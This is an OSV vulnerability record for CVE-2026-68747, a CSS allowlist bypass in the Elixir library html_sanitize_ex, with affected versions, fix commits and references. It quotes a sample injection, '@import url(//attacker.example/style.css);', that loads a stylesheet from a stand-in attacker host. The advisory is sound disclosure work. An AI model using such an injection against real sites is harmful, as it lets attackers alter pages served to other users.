{"id":"CVE-2026-68747","summary":"CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input","details":"Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.\n\nElement boundaries are resolved before the scrubber runs, so injected content does not escape the \u003cstyle\u003e element and no script executes.\n\nThis issue affects html_sanitize_ex: from 0.3.1 before 1.5.4.","aliases":["EEF-CVE-2026-68747","GHSA-87v2-pfhj-r5x7"],"modified":"2026-08-08T03:48:19.137029734Z","published":"2026-08-06T14:50:03.143Z","database_specific":{"cwe_ids":["CWE-74"],"osv_generated_from":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/68xxx/CVE-2026-68747.json","unresolved_ranges":[{"extracted_events":[{"introduced":"21f90012eb21aa36f4e3701b7547e12faf0f3c8b"},{"fixed":"0b9f9ad63a7529d4f2c3c1134c371adc3e654308"}],"source":"AFFECTED_FIELD"}],"cna_assigner":"EEF"},"references":[{"type":"WEB","url":"https://cna.erlef.org/cves/CVE-2026-68747.html"},{"type":"WEB","url":"https://github.com"},{"type":"WEB","url":"https://osv.dev/vulnerability/EEF-CVE-2026-68747"},{"type":"WEB","url":"https://repo.hex.pm"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/68xxx/CVE-2026-68747.json"},{"type":"ADVISORY","url":"https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68747"},{"type":"FIX","url":"https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308"},{"type":"PACKAGE","url":"https://github.com/rrrene/html_sanitize_ex"}],"affected":[{"ranges":[{"type":"GIT","repo":"https://github.com/rrrene/html_sanitize_ex","events":[{"introduced":"088f92b18a4a3911a862b527d5eb3713f9abac24"},{"fixed":"de5cc8085029dae9136af47a9c4712152d8a76f0"},{"fixed":"0b9f9ad63a7529d4f2c3c1134c371adc3e654308"}],"database_specific":{"extracted_events":[{"introduced":"0.3.1"},{"fixed":"1.5.4"}],"source":["DESCRIPTION","REFERENCES"]}}],"versions":["v1.5.3","v1.5.2","v1.5.1","v1.5.0","v1.5.0-rc.0","v1.4.4","v1.4.3","v1.4.2","v1.4.1","v1.2.0","v1.0.1","v1.0.0","v0.3.1"],"database_specific":{"source":"https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2026-68747.json"}}],"schema_version":"1.8.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}]}